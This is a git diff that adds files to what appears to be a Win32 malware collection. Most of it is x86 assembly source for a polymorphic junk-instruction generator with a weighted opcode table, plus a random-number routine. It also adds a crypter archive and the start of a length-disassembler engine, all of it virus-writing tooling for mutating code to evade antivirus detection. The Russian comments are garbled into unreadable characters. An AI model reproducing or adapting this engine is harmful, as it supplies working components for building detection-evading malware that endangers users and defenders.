�����+ mov ecx,edx ; ���������� ����������+ call garbage ; ����� ����� ���������+ pop ecx ; ��������������� ecx+ ; � ����� � ��� ����������+ ; �������� ���������,+ ; �������� �������:+ ; ..............................+ ; jae next+ ; mov eax,0+ ; next: nop+ ; ..............................+ sub ecx,2 ; ��������� ������� �� 2+ sub ecx,edx ; � �� ����� ��������+ ret ; ������� �� ������������++;----[��������� ���������� NOT/NEG - 0xf7]-------------------------------------;++__not_r32:+ cmp cl,2 ; ���� ����� ������������+ jge __g1__ ; ���������� ������ 2, ��+ ret ; ������� �� ������������+__g1__:+ mov al,0f7h ; �������� � al - 0f7h+ stosb ; � ����� ��� � �����+ mov dl,0d0h ; �������� � dl - 0d0h+ mov eax,2 ; ���������� ��������� �����+ call brandom32 ; � ��������� 0..1+ shl eax,3 ; �������� ��� �� 8+ add dl,al ; ��������� � dl - al+ call free_reg ; �������� ������������+ ; ��������� ���������+ ; ���������+ add al,dl ; ��������� � al - dl+ stosb ; � ����� ��� � �����+ ; � ����� � ��� ����������+ ; �������� ���������+ ; ���������� NOT/NEG:+ ; ..............................+ ; not eax+ ; ..............................+ sub ecx,2 ; ��������� ������� �� 2+ ret ; ������� �� ������������++;----[��������� ���������� JXX NEAR - 0x0f 0x80..0x0f 0x89]--------------------;++__jxx_near:+ mov eax,50 ; ���������� ��������� �����+ call brandom32 ; � ��������� 0..49+ push eax ; ��������� ��� � �����+ add eax,6 ; ��������� ����� ��������+ cmp eax,ecx ; ��������� �� ������ �����+ ; ���� ����������+ pop eax ; ��������������� eax �� �����+ jle __gen2__ ; ���� ����� ��������� �����+ ret ; �� ������� �� ������������+__gen2__: ;+ push eax ; ��������� � ����� eax+ mov al,0fh ; �������� � al - 0fh+ stosb ; � ����� ��� � �����+ mov eax,10 ; �������� ��������� �������+ call brandom32 ; ����� �� 0..9+ ;+ add al,80h ; ��������� 80h+ stosb ; � ����� ��� � �����+ pop eax ; �������� �� ����� eax+ stosd ; �������� ��� � �����+ mov edx,eax ; ����� � edx - eax+ push ecx ; ��������� ecx � �����+ mov ecx,edx ; ���������� ����������+ call garbage ; ����� ����� ���������+ pop ecx ; ��������������� ecx+ ; � ����� � ��� ����������+ ; �������� ���������,+ ; ��������, �������:+ ; ..............................+ ; je next+ ; push 0+ ; next: push 64+ ; ..............................+ sub ecx,6 ; ��������� ������� �� 6+ sub ecx,edx ; � �� ����� ����������+ ;+ ret ; ������� �� ������������++;----[��������� ���������� ������������ - 0xdc]--------------------------------;++__x87:+ cmp cl,2 ; ���� ����� ������������+ jge __g2__ ; ���������� ������ 2, ��+ ret ; ������� �� ������������+__g2__:+ mov al,0dch ; ����� � al - 0dch+ stosb ; � �������� al � �����+ mov eax,02fh ; ���������� ��������� �����+ call brandom32 ; � ��������� 0..2eh+ add al,0c0h ; ��������� � ����� 0c0h+ stosb ; � �������� ����� � �����+ ; � ����� � ��� ����������+ ; �������� ���������+ ; ���������� ������������:+ ; ..............................+ ; fadd st(0),st+ ; ..............................+ sub ecx,2 ; ��������� ������� �� 2+ ret ; ������� �� ������������++;----[��������� ���������� ��������� - 0x3a]-----------------------------------;++__cmp_r32_r32:+ cmp cl,2 ; ���� ����� ������������+ jge __g3__ ; ���������� ������ 2, ��+ ret ; ������� �� ������������+__g3__:+ mov dl,3ah ; �������� � dl - 03ah+ mov eax,3 ; �������� ��������� �����+ call brandom32 ; � ��������� 0..2+ add al,dl ; ��������� � al - dl+ stosb ; ����� �������� al � �����+ call rnd_reg ; �������� ��������� �������+ shl eax,3 ; �������� eax �� 8+ add al,0c0h ; ��������� � al - 0c0h+ mov dl,al ; �������� � dl - al+ call rnd_reg ; �������� ��������� �������+ add al,dl ; ��������� � al - dl+ stosb ; � �������� al � �����+ ; � ����� � ��� ����������+ ; �������� ���������+ ; ���������� CMP:+ ; ..............................+ ; cmp eax,esp+ ; ..............................+ sub ecx,2 ; ��������� ������� �� 2+ ret ; ������� �� ������������++;----[��������� ���������� XOR - 0x33]-----------------------------------------;++__xor_r32_r32:+ cmp cl,2 ; ���� ����� ������������+ jge __g4__ ; ���������� ������ 2, ��+ ret ; ������� �� ������������+__g4__:+ mov al,33h ; �������� � al - 33h+ stosb ; � ����� ����� ��� � �����+ call free_reg ; �������� ������������+ ; ��������� ���������+ ; ���������+ shl eax,3 ; �������� eax �� 8+ add al,0c0h ; ��������� � al - 0c0h+ mov dl,al ; �������� � dl - al+ call rnd_reg ; �������� ��������� �������+ add al,dl ; ��������� � al - dl+ stosb ; � �������� al � �����+ ; � ����� � ��� ����������+ ; �������� ���������+ ; ���������� XOR:+ ; ..............................+ ; xor eax,esp+ ; ..............................+ sub ecx,2 ; ��������� ������� �� 2+ ret ; ������� �� ������������++;----[��������� ���������� TEST - 0x84]----------------------------------------;++__test_r32_r32:+ cmp cl,2 ; ���� ����� ������������+ jge __g5__ ; ���������� ������ 2, ��+ ret ; ������� �� ������������+__g5__:+ mov dl,084h ; �������� � dl - 084h+ mov eax,2 ; �������� ��������� �����+ call brandom32 ; � ��������� 0..1+ add al,dl ; ��������� � al - dl+ stosb ; � ����� ����� ��� � �����+ call rnd_reg ; �������� ������������+ ; ��������� ����������+ ; ��������+ add al,0c0h ; ��������� � al - 0c0h+ mov dl,al ; �������� � dl - al+ call rnd_reg ; �������� ��������� �������+ add al,dl ; ��������� � al - dl+ stosb ; � �������� al � �����+ ; � ����� � ��� ����������+ ; �������� ���������+ ; ���������� TEST:+ ; ..............................+ ; test eax,esp+ ; ..............................+ sub ecx,2 ; ��������� ������� �� 2+ ret ; ������� �� ������������++;----[��������� ���������� MOV, XCHG - 0x87,0x89,0x8b]-------------------------;++__mov_r32_r32:+ cmp cl,2 ; ���� ����� ������������+ jge __g6__ ; ���������� ������ 2, ��+ ret ; ������� �� ������������+__g6__:+ mov eax,3 ; ���������� �� �+ call brandom32 ; ��������� 0..2++ test eax,eax ; ���������, ��� ����� ��+ jnz __ng1__ ; ����� ������������+ ; ���� �� 0, �� 0x8b++ mov eax,10 ; ���������� �� �+ call brandom32 ; ��������� 0..9++ test eax,eax ; ��������� ����� ����� ��+ jnz __ng2__ ; ����� ������������+ ; ���� �� 0, �� 0x89++ mov al,87h ; ����� ������������ 0x87+ jmp __ag1__ ; ��� ������+__ng2__:+ mov al,89h ; ����� ������������ 0x89+ jmp __ag1__ ; ��� ������+__ng1__:+ mov al,8bh ; �������� � al - 8bh+__ag1__:+ stosb ; ����� �������� al � �����+ call free_reg ; �������� ������������+ ; ��������� ���������+ ; ���������+ shl eax,3 ; �������� eax �� 8+ add al,0c0h ; ��������� � al - 0c0h+ mov dl,al ; �������� � dl - al+ call free_reg ; �������� ��������� �������+ add al,dl ; ��������� � al - dl+ stosb ; � �������� al � �����+ ; � ����� � ��� ����������+ ; �������� ���������+ ; ���������� MOV, XCHG:+ ; ..............................+ ; mov eax,esp+ ; ..............................+ sub ecx,2 ; ��������� ������� �� 2+ ret ; ������� �� ������������++;----[��������� ���������� PUSH/POP - 0x50..0x57;0x58..0x5f]-------------------;++__push_r32:+ mov eax,10 ; ���������� �� �+ call brandom32 ; ��������� 0..9+ mov edx,eax ; ����� ��� � edx+ add al,2 ; �������� � al - 2++ cmp eax,ecx ; ���� ����� ������������+ jle __g7__ ; ���������� ������ 2+ ; � ����� ������ ,��+ ret ; ������� �� ������������+__g7__:+ call free_reg ; �������� ��������� �������+ add al,50h ; ��������� � al - 50h+ stosb ; ����� al � �����++ push ecx ; �������� ecx � �����+ mov ecx,edx ; ���������� �����+ call garbage ; �������� ����������+ pop ecx ; �������� ecx �� �����++ call free_reg ; �������� ������������+ ; ��������� ���������+ ; ���������+ add al,58h ; ��������� � al - 58h+ stosb ; � ����� ����� al � �����+ ; � ����� � ��� ����������+ ; �������� ���������+ ; ���������� PUSH/POP:+ ; ..............................+ ; push eax+ ; mov eax,2+ ; pop ecx+ ; ..............................+ sub ecx,edx ; ��������� ������� �� edx+ sub ecx,2 ; ��������� ������� �� - 2+ ret ; ������� �� ������������++;----[��������� ���������� MOV - 0x0b8]----------------------------------------;++__mov_r32_imm32:+ cmp cl,5 ; ���� ����� ������������+ jge __g8__ ; ���������� ������ 5, ��+ ret ; ������� �� ������������+__g8__: ;+ call free_reg ; �������� ������������+ ; ��������� ���������+ ; ���������+ add al,0b8h ; ��������� � al - 0b8h+ stosb ; � ����� al � �����+ xor eax,eax ; �������� eax+ dec eax ; ������ eax = 0ffffffffh+ call brandom32 ; ���������� ���������+ stosd ; �����+ ; � ����� � ��� ����������+ ; �������� ���������+ ; ���������� MOV:+ ; ..............................+ ; mov eax,12345678+ ; ..............................+ sub ecx,5 ; ��������� ������� �� 5+ ret ; ������� �� ������������++;----[��������� ���������� JMP SHORT - 0xeb]-----------------------------------;++__jmp_short:+ cmp cl,2 ; ���� ����� ������������+ jg __g9__ ; ���������� ������ 2, ��+ ret ; ������ �� ������������+__g9__:+ mov eax,50 ; ���������� ��������� �����+ call brandom32 ; � ��������� 0..49+ push eax ; ��������� ��� � �����+ add eax,2 ; ��������� ����� ��������+ cmp eax,ecx ; ��������� �� ������ �����+ pop eax ; ��������������� �� �����+ jle __gen3__ ; ���� ����� ��������� �����+ ret ; �� ������� �� ������������+__gen3__: ;+ push eax ; ��������� � ����� eax+ mov al,0ebh ; ����� � al - 0ebh+ stosb ; � ����� al � �����+ pop eax ; ��������������� �� �����+ stosb ; �������� ��� � �����+ mov edx,eax ; ����� � edx - eax+ push ecx ; ��������� ecx � �����+ mov ecx,edx ; ���������� ����������+ call garbage ; ����� ����� ���������+ pop ecx ; ��������������� ecx+ ; � ����� � ��� ����������+ ; �������� ���������+ ; ���������� JMP SHORT:+ ; ..............................+ ; jmp next+ ; mov ax,22+ ; next: nop+ ; ..............................+ sub ecx,2 ; ��������� ������� �� 2+ sub ecx,edx ; � �� ����� ����������+ ;+ ret ; ������� �� ������������++;----[��������� ���������� ADD - 0x81]-----------------------------------------;++__add_r32_imm32:+ cmp cl,6 ; ���� ����� ������������+ jge g10__ ; ���������� ������ 6, ��+ ret ; ������� �� ������������+g10__:+ mov al,81h ; ����� � al - 81h+ stosb ; � �������� al � �����+ mov eax,4 ; �������� ��������� �����+ call brandom32 ; � ��������� �� 0..9+ add al,0ch ; ��������� � ���� - 0ch+ shl al,4 ; �������� al �� 16+ mov dl,al ; ����� � dl - al+ mov eax,2 ; �������� ��������� �����+ call brandom32 ; � ��������� �� 0..1+ shl al,3 ; �������� al �� 8+ add dl,al ; ��������� � dl - al+ call free_reg ; �������� ������������+ ; ��������� ���������+ ; ���������+ add al,dl ; ��������� � al - dl+ stosb ; � ����� al � �����+ xor eax,eax ; �������� eax+ dec eax ; ������ eax = 0ffffffffh+ call brandom32 ; ���������� ���������+ stosd ; ����� � ����� ��� � �����+ ; � ����� � ��� ����������+ ; �������� ���������+ ; ���������� ADD:+ ; ..............................+ ; add eax,12345678+ ; ..............................+ sub ecx,6 ; ��������� ������� �� 6+ ret ; ������� �� ������������++;----[��������� ���������� LEA - 0x8d]-----------------------------------------;++__lea_r32_imm32:+ cmp cl,6 ; ���� ����� ������������+ jge __g11__ ; ���������� ������ 6, ��+ ret ; ������� �� ������������+__g11__:+ mov al,8dh ; ����� � al - 8dh+ stosb ; � �������� al � �����+ call free_reg ; �������� ������������+ ; ��������� ���������+ ; ���������+ shl eax,3 ; �������� eax �� - 8+ add al,5 ; ��������� � al - 5+ stosb ; � ����� al � �����+ xor eax,eax ; �������� eax+ dec eax ; ������ eax = 0ffffffffh+ call brandom32 ; ���������� ��������� �����+ stosd ; � ����� ��� � �����+ ; � ����� � ��� ����������+ ; �������� ���������+ ; ���������� LEA:+ ; ..............................+ ; lea eax,[12345678]+ ; ..............................+ sub ecx,6 ; ��������� ������� �� 6+ ret ; ������� �� ������������++;----[��������� ���������� CALL NEAR - 0xe8]-----------------------------------;++__call_near:+ mov eax,50 ; ���������� ��������� �����+ call brandom32 ; � ��������� 0..49+ mov edx,eax ; � ����� ��� � edx++ mov eax,50 ; ���������� ��������� �����+ call brandom32 ; � ��������� 0..49+ push eax ; ��������� ��� � �����+ add eax,11 ; ��������� ����� ��������+ add eax,edx ; ��������� � eax - edx+ cmp eax,ecx ; ��������� �� ������ �����+ pop eax ; ��������������� �� �����+ jle __gen4__ ; ���� ����� ��������� �����, ��+ ret ; ������� �� ������������+__gen4__:+ push edx ; ��������� � ����� edx+ push eax ; ��������� � ����� eax+ mov al,0e8h ; ����� � al - 0e8h+ stosb ; � �������� al � �����+ mov eax,[esp] ; ��������������� eax+ inc eax ; ����������� eax �� - 1+ stosd ; ����� eax � �����+ xor eax,eax ; �������� eax+ dec eax ; ������ � eax - 0ffffffffh+ call brandom32 ; ���������� �� �+ stosb ; ����� ��� � �����+ pop edx ; �������� �� ����� � edx+ push ecx ; ��������� ecx � �����+ mov ecx,edx ; ���������� ����������+ call garbage ; ����� ����� ���������+ pop ecx ; ��������������� ecx++ mov al,55h ;+ stosb ; ����� � ����� 055h+ mov ax,0ec8bh ;+ stosw ; ����� � ����� 0ec8bh++ push edx ; ����� edx � ����++ mov edx,[esp+4] ; �������� �� ����� � edx+ push ecx ; ��������� ecx � �����+ mov ecx,edx ; ���������� ����������+ call garbage ; ����� ����� ���������+ pop ecx ; ��������������� ecx++ mov al,5dh ; ����� � ����� 05dh+ stosb ;++ call free_reg ; �������� ������������+ ; ��������� ���������+ ; ���������+ add al,58h ; ��������� � al - 58+ stosb ; � ����� ����� al � �����+ ; � ����� � ��� ����������+ ; �������� ���������+ ; ���������� CALL NEAR:+ ; ..............................+ ; mov eax,12345678h+ ; call next+ ; add edx,34567h+ ; next:+ ; push ebp+ ; mov ebp,esp+ ; xor eax,edx+ ; pop ebp+ ; pop edx+ ; ..............................+ sub ecx,11 ; ��������� ������� �� 11+ pop edx ; �������� �� ����� � edx+ sub ecx,edx ; ��������� �� ����� ����������+ pop edx ; �������� �� ����� � edx+ sub ecx,edx ; ��������� �� ����� ����������+ ;+ ret ; ������� �� ������������++;----[��������� ���������� SHL - 0xc1]-----------------------------------------;++__shl_r32_imm8:+ cmp cl,3 ; ���� ����� ������������+ jge __g12__ ; ���������� ������ 3, ��+ ret ; ������� �� ������������+__g12__:+ mov al,0c1h ; ����� � al - 0c1h+ stosb ; � �������� al � �����+ mov eax,6 ; ���������� ��������� �����+ call brandom32 ; � ��������� 0..5+ shl eax,3 ; �������� ��� �� 8+ add al,0c0h ; ��������� � ���� - 0c0h+ mov dl,al ; �������� � dl - al+ call free_reg ; �������� ������������+ ; ��������� ���������+ ; ���������+ add al,dl ; ��������� � al - dl+ stosb ; � �������� al � �����+ mov eax,256 ; ���������� ��������� �����+ call brandom32 ; � ��������� 0..255+ stosb ; � ����� ��� � �����+ ; � ����� � ��� ����������+ ; �������� ���������+ ; ���������� SHL,ROL, ...:+ ; ..............................+ ; shl ebp,04+ ; ..............................+ sub ecx,3 ; ��������� ������� �� 3+ ret ; ������� �� ������������++;----[��������� ��������� XADD - 0x0f 0x0a3 ...]-------------------------------;++__xadd_r32_r32:+ cmp cl,3 ; ���� ����� ������������+ jge __g13__ ; ���������� ������ 6, ��+ ret ; ������� �� ������������+__g13__:+ mov al,0fh ; ����� � al - 0fh+ stosb ; � �������� al � �����+ lea esi,[ebp+__3_byte_opcode]; ����� � esi ��������� ��+ ; ������� ������ 3-� �������+ ; ����������+ mov eax,14 ; ���������� ��������� �����+ call brandom32 ; � ��������� 0..13+ add esi,eax ; ���������� � esi - eax+ movsb ; ���������� ���� � �����+ mov dl,0c0h ; ����� � dl - 0�0h+ call free_reg ; �������� ������������+ ; ��������� ���������+ ; ���������+ shl eax,3 ; �������� eax �� 8+ add dl,al ; ��������� � dl - al+ call free_reg ; �������� ������������+ ; ��������� ���������+ ; ���������+ add al,dl ; ��������� � al - dl+ stosb ; � �������� al � �����+ ; � ����� � ��� ����������+ ; �������� ���������+ ; ���������� XADD,IMUL, ...:+ ; ..............................+ ; xadd eax,eax+ ; ..............................+ sub ecx,3 ; ��������� ������� �� 3+ ret ; ������� �� ������������++;----[��������� ���������� MOV - 0x66 0xb8..0xbf]------------------------------;++__mov_r16_imm16:+ cmp cl,4 ; ���� ����� ������������+ jge __g14__ ; ���������� ������ 4, ��+ ret ; ������� �� ������������+__g14__:+ mov al,066h ; ����� � al - 066h+ stosb ; � �������� al � �����+ mov dl,0b8h ; �������� � dl - 0b8h+ call free_reg ; �������� ������������+ ; ��������� ���������+ ; ���������+ add al,dl ; ��������� � al - dl+ stosb ; � �������� al � �����+ xor eax,eax ; �������� eax+ dec eax ; ������ � eax - 0ffffffffh+ call brandom32 ; ���������� ��+ stosw ; � �������� ��� � �����+ ; � ����� � ��� ����������+ ; �������� ���������+ ; ���������� MOV:+ ; ..............................+ ; mov ax,3452+ ; ..............................+ sub ecx,4 ; ��������� ������� �� 4+ ret ; ������� �� ������������++;----[��������� ���������� CMOVA - 0x0f 0x40..0x4f]----------------------------;++__cmova_r32_r32:+ cmp cl,3 ; ���� ����� ������������+ jge __g15__ ; ���������� ������ 6, ��+ ret ; ������� �� ������������+__g15__:+ mov al,0fh ; ����� � al - 0fh+ stosb ; � �������� al � �����+ mov eax,15 ; ���������� ��������� �����+ call brandom32 ; � ��������� 0..14+ add al,40h ; ��������� � al - 40h+ stosb ; � �������� al � �����+ call free_reg ; ���� ��������� �������+ shl eax,3 ; �������� ��� �� 8+ add al,0c0h ; ��������� � ���� - 0c0h+ mov dl,al ; �������� � dl - al+ call rnd_reg ; �������� ������������+ ; ��������� ���������+ ; ���������+ add al,dl ; ��������� � al - dl+ stosb ; � �������� al � �����+ ; � ����� � ��� ����������+ ; �������� ���������+ ; ���������� CMOVA:+ ; ..............................+ ; cmova eax,edx+ ; ..............................+ sub ecx,3 ; ��������� ������� �� 3+ ret ; ������� �� ������������++;----[��������� ���������� PUSH/POP - 0x6a, 0x0ff 0x0f0..0x0f7;0x58..0x5f]-----;++__push_r32_2:+ mov eax,10 ; ���������� ��+ call brandom32 ; � ��������� 0..9+ mov edx,eax ; ����� � edx - eax+ add al,3 ; ��������� � al - 3++ cmp eax,ecx ; ���� ����� ������������+ jle __g16__ ; ���������� ������ ,��+ ret ; ������� �� ������������+__g16__:+ mov eax,4 ; ���������� ��+ call brandom32 ; � ��������� 0..3+ test eax,eax ; ���� ��� �� ����� 0, ��+ jnz __ng3__ ; ��������� �� ����� __ng3__++ mov al,6ah ; ����� � al - 06ah+ stosb ; �������� al � �����+ xor eax,eax ; �������� eax+ dec eax ; ������ � eax - 0ffffffffh+ call brandom32 ; ���������� ��+ stosb ; ����� � �����+ jmp __gen5__ ; ��� �� ��������� ������+__ng3__:+ push edx ; ��������� � ����� edx++ mov al,0ffh ; ����� � al - 0ffh+ stosb ; � �������� al � �����+ mov dl,0f0h ; ����� � dl - 0f0h+ call free_reg ; �������� ��������� �������+ add al,dl ; ��������� � al - dl+ stosb ; � �������� al � �����++ pop edx ; �������� �� ����� edx+__gen5__:+ push ecx ; ��������� ecx � �����+ mov ecx,edx ; ����� � ecx - edx+ call garbage ; ��������� ����� ������+ pop ecx ; ��������������� ecx �� �����++ call free_reg ; �������� ������������+ ; ��������� ���������+ ; ���������+ add al,58h ; ��������� � al - 58h+ stosb ; � ����� ����� al � �����+ ; � ����� � ��� ����������+ ; �������� ���������+ ; ���������� PUSH/POP:+ ; ..............................+ ; push eax+ ; mov eax,2345+ ; pop ecx+ ; ..............................+ sub ecx,edx ; ��������� ������� �� edx+ sub ecx,3 ; ��������� ������� �� 3+ ret ; ������� �� ������������++;----[��������� ���������� PUSH - 0x68,0x58..0x5f]-----------------------------;++__push_imm32:+ mov eax,10 ; ���������� �� �+ call brandom32 ; ��������� 0..9+ mov edx,eax ; �������� � edx - eax+ add al,6 ; ��������� � al - 6++ cmp eax,ecx ; ���� ����� ������������+ jle __g17__ ; ���������� ������, ��+ ret ; ������� �� ������������+__g17__:+ mov al,68h ; ����� � al - 68h+ stosb ; �������� al � �����+ xor eax,eax ; �������� eax+ dec eax ; ������ � eax - 0ffffffffh+ call brandom32 ; ���������� ��+ stosd ; ����� ��� � �����++ push ecx ; ��������� ecx � �����+ mov ecx,edx ; ����� � ecx - edx+ call garbage ; ���������� ����� ������+ pop ecx ; ��������������� ecx �� �����++ call free_reg ; �������� ������������+ ; ��������� ���������+ ; ���������+ add al,58h ; ��������� � al - 58h+ stosb ; � ����� ����� al � �����+ ; � ����� � ��� ����������+ ; �������� ���������+ ; ���������� PUSH/POP:+ ; ..............................+ ; push eax+ ; add eax,42346+ ; pop ecx+ ; ..............................+ sub ecx,edx ; ��������� ������� �� edx+ sub ecx,6 ; ��������� ������� �� 6+ ret ; ������� �� ������������++;----[��������� ������������ ���������� - 0x40..0x4f;0x0f2;0x0f3...]-----------;++__one_byte:+ mov eax,3 ; ���������� ��������� �����+ call brandom32 ; � ��������� 0..2++ cmp al,1 ; ���� ����� = 1, ��+ jne __not_inc_ ; ���������� ���������� INC++ call free_reg ; �������� ������������+ ; ��������� ���������+ ; ���������+ add al,40h ; ��������� � al - 40h+ stosb ; �������� al � �����+ ; � ����� � ��� ����������+ ; �������� ���������+ ; ���������� INC:+ ; ..............................+ ; inc eax+ ; inc ebp+ ; ..............................+ jmp __q__ ; ��� �� �����+__not_inc_:++ cmp al,2 ; ���� ����� = 2, ��+ jne __not_dec_ ; ��� �� �����++ call free_reg ; �������� ������������+ ; ��������� ���������+ ; ���������+ add al,48h ; ��������� � al - 48h+ stosb ; �������� al � �����+ ; � ����� � ��� ����������+ ; �������� ���������+ ; ���������� DEC:+ ; ..............................+ ; dec eax+ ; ..............................+ jmp __q__ ; ��� �� �����+__not_dec_:++ lea esi,[ebp+__1_byte_opcode]; ����� � esi ��������� ��+ ; ������� �����������+ ; ����������+ mov eax,8 ; ���������� ��������� �����+ call brandom32 ; � ��������� 0..7+ add esi,eax ; ���������� � esi - eax+ movsb ; �������� ����������+ ; �� ������� � �����+ ; � ����� � ��� ����������+ ; �������� ���������+ ; ���������� �� �������:+ ; .............................+ ; cld+ ; nop+__q__: ; .............................+ dec ecx ; ��������� ecx �� �������+ ret ; ������� �� ������������++;----[������������ ���������� ��������� ��������� �������]---------------------;++free_reg:+ ; ������������ ���������+ ; ���������� ��������++ push edx ecx ; ��������� � ����� edx, ecx+another: ;++ call rnd_reg ;+ bt ebx, eax ; ���������� ������������+ jc another ; ��������� �������++ pop ecx edx ; ��������������� ecx, edx+ ret ; ������� �� ������������++;----[������������ ���������� ��������� �������]-------------------------------;++rnd_reg:+ ; ������������ ���������+ ; ���������� ��������++ mov eax,8 ; �������� ��������� �����+ call brandom32 ; � ��������� 0..7+ ret ; ������� �� ������������++;----[������� �������� �� ������������]----------------------------------------;++mega_table:+ dw __x87 -__st__ ;+ dw __mov_r32_r32 -__st__ ;+ dw __push_r32 -__st__ ;+ dw __push_r32_2 -__st__ ;+ dw __push_imm32 -__st__ ;+ dw __shl_r32_imm8 -__st__ ;+ dw __cmp_r32_r32 -__st__ ;+ dw __xor_r32_r32 -__st__ ;+ dw __one_byte -__st__ ;+ dw __mov_r32_imm32 -__st__ ;+ dw __jxx_short -__st__ ; ������� �������������+ dw __jxx_near -__st__ ; �������� �� �����+ dw __add_r32_imm32 -__st__ ; delta_offset+ dw __jmp_short -__st__ ;+ dw __lea_r32_imm32 -__st__ ;+ dw __test_r32_r32 -__st__ ;+ dw __not_r32 -__st__ ;+ dw __xadd_r32_r32 -__st__ ;+ dw __mov_r16_imm16 -__st__ ;+ dw __cmova_r32_r32 -__st__ ;+ dw __call_near -__st__ ;++;----[������� ������������ �������]--------------------------------------------;++__1_byte_opcode:+ std ;+ cld ; ������� ������������+ nop ; ����������+ clc ;+ stc ;+ cmc ;+ db 0f2h ; rep+ db 0f3h ; repnz++;----[������� ����������� �������]--------------------------------------------;++__3_byte_opcode:+db 0a3h,0abh,0adh,0b3h,0bbh,0bdh,0bfh ; ������� �����������+db 0b6h,0b7h,0beh,0afh,0bch,0c1h,0bdh ; ����������++;----[������� ���. �������� �������]-------------------------------------------;++__freq_table:+ dw 10 ; x87(0xdc)+ dw 209 ; mov r32,r32(0x8b)+ dw 107 ; push r32/pop r32(0x50)+ dw 147 ; push r32(0xff,0x6a)+ dw 32 ; push imm32(0x68)+ dw 6 ; ror/shl r32,imm8(0xc1)+ dw 5 ; cmp r32,r32(0x3ah)+ dw 43 ; xor r32,r32(0x33)+ dw 8 ; rep/repnz(0xf3)+ dw 22 ; mov r32,imm32(0xb8)+ dw 82 ; je short(0x70..0x7fh)+ dw 18 ; je near(0x0f)+ dw 78 ; add/or r32,imm32(0x81..0x85)+ dw 30 ; jmp short(0xeb)+ dw 63 ; lea r32,imm32(0x8d)+ dw 1 ; test r32/r8,r32/r8(0x84,0x85)+ dw 1 ; not/neg(0xf7)+ dw 23 ; xadd/imul r32,r32(0x0f)+ dw 6 ; mov r16,imm16(0x66)+ dw 13 ; cmova r32,r32(0x0f)+ dw 95 ; call near(0xe8)++;----[���������� ���������]----------------------------------------------------;++__generation dd 9++;----[����������������]--------------------------------------------------------;++__cross1 dd 0+__cross2 dd 0++;----[����������� ���������]---------------------------------------------------;++_eax equ 00000001h ;+_ecx equ 00000002h ;+_edx equ 00000004h ;+_ebx equ 00000008h ;+_esp equ 00000010h ; ����������� ���������+_ebp equ 00000020h ; ������� Z0MBiE :)+_esi equ 00000040h ;+_edi equ 00000080h ;+;------------------------------------------------------------------------------;+</src>+<p>��� ������ ������� ������ ���������� ����� ������ - ��������� ���������� �����.</p>+<src lang="asm">+;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;+; ��������� ���������� ����� V. 0.3 (x) 2004 ���� http://slon.wronger.com ;+;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;+; ��������: [0..eax-1] ;+;------------------------------------------------------------------------------;+; �������������: call r_init ;+; mov eax,������� ��������� ;+; call brandom32 ;+;------------------------------------------------------------------------------;+; ���������: ����� � ��������� [0..������� ���������] ;+;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;++;----[������������ ������������� ���������� ��������� �����]-------------------;++r_init:+ push ebp eax edx ; ��������� � ����� ebp,eax,edx++ call __delta1_ ;+__delta1_: pop ebp ; ��������� ������ ��������+ sub ebp,offset __delta1_ ;++ db 0fh,031h ; �������� ��������� �����+ mov rand_seed,eax ;++ pop edx eax ebp ; ��������������� edx,eax,ebp++ ret ; ������� �� ������������++;----[������������ ��������� ��������� ����� � ���������]----------------------;++brandom32: ; ��� ������������+ ; ���������� ��������� �����+ ; � ��������� 0..eax-1++ push edx ecx ebp ; ��������� � ����� edx,ecx,ebp++ call __delta2_ ;+__delta2_: pop ebp ; ��������� ������ ��������+ sub ebp,offset __delta2_ ;++ imul eax,eax,100 ; �������� eax �� 100+ push eax ; � ��������� eax � �����++ call random32 ; �������� ������������+ ; ��������� ���������� �����+ xor edx,edx ; �������� edx+ pop ecx ; ��������������� ��������+ ; �� ����� � ecx+ div ecx ; ����� eax �� ecx+ xchg eax,edx ; �������� ������� � eax+ xor edx,edx ; �������� edx+ push 100 ; �������� � ecx - 100+ pop ecx ;+ div ecx ; ����� eax �� ecx+ pop ebp ecx edx ; ��������������� ebp,ecx,edx,+ ret ; ������� �� ������������++;----[������������ ��������� ���������� �����]---------------------------------;++random32:+ push ebp++ call __delta3_ ;+__delta3_: pop ebp ; ��������� ������ ��������+ sub ebp,offset __delta3_ ;++ mov eax,12345678h ;+ rand_seed= dword ptr $-4 ;+ imul eax,00019660Dh ;+ add eax,03C6EF35Fh ; �������������� �������� ���+ mov [ebp+rand_seed],eax ; ��������� ���������� �����+ shr eax,16 ;+ imul eax,[esp+4] ;++ pop ebp++ retn ; ������� �� ������������\ No newline at end of filediff --git a/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Yspe.7z b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Yspe.7znew file mode 100644index 0000000..793be4cBinary files /dev/null and b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Yspe.7z differdiff --git a/Malwares/Win32/Disassembler/README.md b/Malwares/Win32/Disassembler/README.mdnew file mode 100644index 0000000..55090e6--- /dev/null+++ b/Malwares/Win32/Disassembler/README.md@@ -0,0 +1,3 @@++# Win32 Disassemblers+diff --git a/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.4553_LDE.txt b/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.4553_LDE.txtnew file mode 100644index 0000000..65aab85--- /dev/null+++ b/Malwares/Win32/Disassembler/VirTool.Win32.Disassembler.4553_LDE.txt@@ -0,0 +1,901 @@+/*+*+* ____| | | _) ___| |+* __| | _ \ __| __| __| _ \ __ \ | __|\___ \ _ \ | | | __|+* | | __/ ( | | ( | | | | ( | ( | | | |\__ \+* _____|_|\___|\___|\__|_| \___/ _| _|_|\___|_____/ \___/ \____|_|____/+*+* Presents+*+* [ 0x4553_LDE - 16/32-bit Length Disassembler Engine ]+*+* (c) Ares, 2003+*+*[-----------------------------------------------------------------------------------]+* Description:+* It based on ADE32 disassembler engine by z0mbie, modified and ported to AT&T asm.+*+* table.h - contain table of opcodes from 0x00 to 0xFF,+* it define the type of each other.+*+* Usage:+* There is the main function l_disasm(). It get one parameter from stack,+* which point to array with data. Return value reside in %eax - length of opcode.+*+* Example:+* ...+* mov data,%eax+* add $123,%eax # data[123]+* push %eax+* call l_disasm+* ...+*+* Section Headers:+* [Nr] Name Type Addr Off Size ES Flg Lk Inf 